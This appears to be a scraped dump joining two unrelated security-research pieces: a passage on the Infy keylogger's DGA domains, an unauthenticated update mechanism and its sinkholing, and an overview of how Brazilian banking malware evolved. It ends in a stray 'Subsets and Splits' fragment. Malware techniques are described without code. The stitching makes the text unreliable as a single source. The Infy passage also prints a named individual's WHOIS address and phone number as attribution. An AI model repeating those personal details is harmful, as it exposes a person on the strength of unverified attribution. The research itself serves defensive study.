The authors of the Infy keylogger included a failover command and control communication system. By using a Domain-Generation-Algorithm (DGA), the malware is instructed to contact a different domain every day in the form of box40XX.net, where XX is a digit that appears to increment every day and resets on a monthly basis. While normally DGAs are triggered only in the case that the primary command and control server isn't responding (because it has been seized, or otherwise disabled), in this case the malware attempts to systematically contact the daily domain every time a set timer hits, regardless of the availability of the main C&C. We noticed on first discovery of this DGA mechanism that only in one case had a failover domain been registered by the operators (box4054.net), while all the remaining ones had been left unregistered.
We also noticed that the primary command and control server is able to instruct the agents to download and execute any binary file. In order to do so, the command and control server would simply reply to the first check-in request with an HTTP 302 redirect to a URL pointing to a Windows executable. This is normally used by the primary C&C to distribute updates of the malware when new versions have been developed and tested. We attempted to reproduce this procedure and discovered that we were able to trigger the malware to pull and execute any binary file we wanted also when contacting one of the DGA domains. Clearly, if noticed by other malicious actors, this flaw in the design of Infy's command and control system could be abused to deploy additional malware, since no verification or authentication of the downloaded binary is performed.
In order to collect more accurate information on the nature of the targets of the Infy campaign, notify victims, and prevent abuse of this security failure, beginning at the end of December 2015 we registered all the domains that were left available and recorded the requests coming in from this failover mechanism. When the Infy group began to notice that its domains and hosts were being taken down, it sought to register additional DGA domains and were able to control two more names (box4070.net and box4071.net). The remainder are under our control and being sinkholed to prevent abuse.
### Participants to Infy
Across at least six years of operation, at least three within the scope of the currently documented campaign, the entities behind Infy have recurrently used the same identifiers in their registrations and communications, which indicate an Iranian origin and could be personally-identifiable information. While multiple sets of domains have been used in the command and control infrastructure for both Infy agents, these domains were typically originally registered under email addresses associated with the name ‘Amin Jalali,’ with the addresses [email protected], [email protected], and [email protected]. The contact information on these domains has been updated in recent months with false identities attributed to Poland and India to mask the original registrant; however, the ownership and contact email remains the same.
**Registration Information for bestwebstat.com**
- Registrant Name: Amin Jalali
- Registrant Organization: safehostonline
- Registrant Street1: afriqa street number 68
- Registrant City: tehran
- Registrant State: Tehran
- Registrant Postal Code: 19699
- Registrant Country: IR
- Registrant Phone: +98.935354252
- Registrant Email: [email protected]
The aliases associated with Amin Jalali appear elsewhere outside of registrations. A user ‘aj58’ posted in late July 2015 on the user forums of Sophos claiming that the detection of the domains ‘bestupdateserver.com’ and ‘updateserver1.com’ as malicious was mistaken, and that there was no malware hosted on these sites. Both domains were frequently used as command and control for their malware campaigns in the first half of 2015, and the categorization of the domains as malicious was correct. While McAfee appears to have changed the categorization in its TrustedSource database, the user apparently was unable to clear the domains from a sufficient number of antivirus products and registered the second group of domains a few weeks later.
A similar email address (without the underscore) commented on an article posted on an Iranian Army News site about the death of Jihad Mughniyeh, the son of Hezbollah commander Imad Mughniyeh, who was killed in Syria in an operation believed to have been conducted by Israel, mourning his death and proclaiming him a martyr. |
# The Evolution of Brazilian Malware
**Authors**
Thiago Marques
## Introduction
Brazilian malware continues to evolve day by day, making it increasingly sophisticated. The techniques used by Brazilian cybercriminals have changed, becoming more advanced and complex. The authors are improving their techniques to increase malware lifetime and profits.
Some time ago, analyzing and detecting Brazilian malware was relatively fast due to no obfuscation, no anti-debugging techniques, no encryption, and plain-text communication. The code was primarily written in Delphi and Visual Basic 6, often containing large images and poor exception handling, leading to frequent crashes.
Nowadays, the scenario is different; attackers invest time and money to develop solutions where the malicious payload is hidden under extensive obfuscation and code protection. They still use Delphi and VB but have also adopted other languages like .NET, resulting in much better code quality.
## What We Used to Find
### Keylogger
Initially, the first samples used to steal banking information were simple keyloggers, often using publicly available code with minor customizations. At that time, banking websites lacked protection against this threat. The code was straightforward, using the function `GetAsyncKeyState` to check the state of each key and log it as necessary. Most keyloggers did not use obfuscation, aiding in the identification of such attacks.
### Phishing Trojan
After banks introduced virtual keyboards, keyloggers became ineffective. To bypass these protections, Brazilian cybercriminals developed mouselogger malware and later Phishing Trojans. This type of malware used DDE (Dynamic Data Exchange) to get the current URL opened in the browser. Most of these malicious programs have since updated their code to use OLE Automation instead of DDE for more advanced options. The malware checks if the URL is in the target list and, if found, displays a phishing screen asking for banking information.
### Hosts
To steal information without making it easy to identify a phishing Trojan, they redirected users to malicious web pages by changing the hosts file to resolve banking domain names to hardcoded servers. This made the attack more transparent to users, increasing the chances of success. These types of attacks were effective at the time, although they are less effective now.
### Anti-rootkit
Realizing that anti-malware solutions and internet banking security plugins complicated their work, attackers focused on removing security solutions before executing the malicious payload. They used well-known command line tools that were already allowlisted.
### Malicious Bootloader
Brazilian cybercriminals developed their own bootloaders to remove security solutions from users' machines. The downloader installs malicious files and reboots the machine. After rebooting, the malicious bootloader can remove the desired files from the system.
## What We Have Nowadays
### Automation
Most banks use machine identification to prevent unauthorized operations using stolen information. To bypass this, attackers perform malicious operations from the infected machine, using Internet Explorer Automation to interact with page content. The first samples using this type of attack were Browser Helper Objects (BHOs) that could detect transfer transactions and change the destination account.
### Code Obfuscation and RunPE
To bypass detection, Brazilian criminals started using obfuscation to hide the parts of code that perform their main operations. The malware uses a trick known as RunPE, where it executes a clean process in a suspended state, modifies its memory content to the malicious code, and then executes it.
### AutoIt Crypto
AutoIt is often used as a downloader and crypto for the final payload to bypass detection. After being compiled, the AutoIt script is encrypted and embedded in the generated binary, requiring extraction of the original script before analysis.
### MSIL Database
Another type of malware that emerged recently is developed in .NET instead of Visual Basic 6.0 and Delphi. Some samples of Trojan-Banker.MSIL.Lanima do not use common functions to download the payload, instead using SQL Server to host the binary content.
### MSIL Crypto
Following the same method used by AutoIt Crypto, another crypto was developed using .NET. The process to extract the real executable is similar, but it includes an intermediate module responsible for extracting the final payload.
### RAT
To reduce losses from cyber attacks, banks implemented two-factor authentication. Cybercriminals created a remote administration tool (RAT) to request the information required for internet banking transactions. The RAT monitors the user’s browser and executes the attack in real time.
### Ransomware
Brazilian cybercriminals are also exploring ransomware attacks. Some years ago, TorLocker contained details suggesting that the developer is from Brazil. Recently, another ransomware program based on the Hidden Tear source code was modified to target Brazilian users.
## Why They Evolve
There is evidence that Brazilian criminals cooperate with Eastern European gangs involved with ZeuS, SpyEye, and other malware. This collaboration affects the quality and threat level of Brazilian malware, as its authors adopt new techniques and features from Eastern European malware.
Brazilian cybercriminals are not only improving their code quality but also utilizing cybercrime infrastructure from abroad. The partnership has led to the development of new techniques in Brazilian malware.
## Conclusion
Cybercrime in Brazil has changed drastically, shifting from simple keyloggers to tailored remote administration tools capable of executing complete attacks using the victim's machine. Criminals are investing more time and money in developing their malicious code, enhancing anti-debugging techniques, and running malware undetected for longer periods. The collaboration with Eastern European cybercriminals is expected to continue, leading to more sophisticated attacks in the future. |
Subsets and Splits